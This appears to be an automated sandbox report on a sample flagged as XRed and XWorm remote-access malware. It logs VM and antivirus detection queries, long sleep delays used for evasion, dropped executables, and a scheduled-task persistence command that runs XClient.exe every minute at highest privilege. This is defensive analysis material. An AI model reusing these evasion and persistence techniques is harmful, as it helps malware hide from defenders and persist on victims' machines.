Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Windows\splwow64.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_VideoController

Source: C:\Users\user\Desktop\._cache_Client.exe	Memory allocated: 10E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Memory allocated: 1ACC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 770000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 1A350000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: D00000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 1A7B0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 730000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 1A6A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 810000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 1A4D0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 11C0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 1AD60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: E90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 1AB90000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 6A0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\XClient.exe	Memory allocated: 1A4E0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\._cache_Client.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\._cache_Client.exe	Window / User API: threadDelayed 7666	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Window / User API: threadDelayed 2149	Jump to behavior
Source: C:\Windows\splwow64.exe	Window / User API: threadDelayed 7682
Source: C:\Windows\splwow64.exe	Window / User API: threadDelayed 2287

Source: C:\Users\user\Desktop\._cache_Client.exe TID: 5828	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7684	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 7684	Thread sleep time: -3780000s >= -30000s	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe TID: 9212	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 2056	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 2756	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 8540	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 8764	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 2072	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 2220	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Roaming\XClient.exe TID: 7712	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed
Source: C:\Windows\splwow64.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\._cache_Client.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\._cache_Client.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\ProgramData\Synaptics\Synaptics.exe	Thread delayed: delay time: 60000	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Windows\splwow64.exe	Thread delayed: delay time: 120000
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Roaming\XClient.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\Client.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Source: Amcache.hve.20.dr	Binary or memory string: VMware
Source: Amcache.hve.20.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.20.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.20.dr	Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.20.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.20.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.20.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.20.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.20.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000782000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.20.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.20.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Synaptics.exe, 00000003.00000002.2067323288.00000000006FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.20.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.20.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.20.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.20.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.20.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.20.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.20.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.20.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.20.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.20.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Synaptics.exe, 00000003.00000002.2067323288.0000000000782000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW7.6
Source: Amcache.hve.20.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.20.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.20.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.20.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.20.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.20.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.20.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: ._cache_Client.exe, 00000002.00000002.3896995863.000000001BC05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW.0%SystemRoot%\system32\mswsock.dllbf3856ad364e35" />
Source: Amcache.hve.20.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\._cache_Client.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Roaming\XClient.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\._cache_Client.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Client.exe	Process created: C:\Users\user\Desktop\._cache_Client.exe "C:\Users\user\Desktop\._cache_Client.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Client.exe	Process created: C:\ProgramData\Synaptics\Synaptics.exe "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "XClient" /tr "C:\Users\user\AppData\Roaming\XClient.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Client.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion InstallDate

Jump to behavior

Source: C:\Users\user\Desktop\._cache_Client.exe	Queries volume information: C:\Users\user\Desktop\._cache_Client.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\._cache_Client.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\XClient.exe	Queries volume information: C:\Users\user\AppData\Roaming\XClient.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	Queries volume information: C:\Users\user\AppData\Roaming\XClient.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	Queries volume information: C:\Users\user\AppData\Roaming\XClient.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	Queries volume information: C:\Users\user\AppData\Roaming\XClient.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	Queries volume information: C:\Users\user\AppData\Roaming\XClient.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	Queries volume information: C:\Users\user\AppData\Roaming\XClient.exe VolumeInformation
Source: C:\Users\user\AppData\Roaming\XClient.exe	Queries volume information: C:\Users\user\AppData\Roaming\XClient.exe VolumeInformation

Source: C:\Users\user\Desktop\._cache_Client.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.20.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.20.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.20.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.20.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: ._cache_Client.exe, 00000002.00000002.3872060852.0000000000E56000.00000004.00000020.00020000.00000000.sdmp, ._cache_Client.exe, 00000002.00000002.3896995863.000000001BC05000.00000004.00000020.00020000.00000000.sdmp, ._cache_Client.exe, 00000002.00000002.3896995863.000000001BC97000.00000004.00000020.00020000.00000000.sdmp, ._cache_Client.exe, 00000002.00000002.3896995863.000000001BCA2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.20.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct
Source: C:\Users\user\Desktop\._cache_Client.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * from AntivirusProduct

Stealing of Sensitive Information

Yara detected XRed

Source: Yara match	File source: Client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Client.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Client.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\IPKGELNTQY\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXEF1B.tmp, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: Client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Client.exe.4b6c38.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.0.._cache_Client.exe.9b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Client.exe.5e08c0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.Client.exe.5e08c0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.Client.exe.4b6c38.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.0.Client.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000000.1413414225.00000000009B2000.00000002.00000001.01000000.00000005.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1414593169.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1414566747.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000000.1404593166.00000000004A5000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Client.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: ._cache_Client.exe PID: 7976, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\Desktop\._cache_Client.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\XClient.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED

Remote Access Functionality

Yara detected XRed

Source: Yara match	File source: Client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Client.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1404505014.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Client.exe PID: 7888, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\Synaptics\Synaptics.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Documents\IPKGELNTQY\~$cache1, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Synaptics\RCXEF1B.tmp, type: DROPPED

Yara detected XWorm

Source: Yara match	File source: Client.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Client.exe.4b6c38.1.unpack, type: UNPACKEDPE
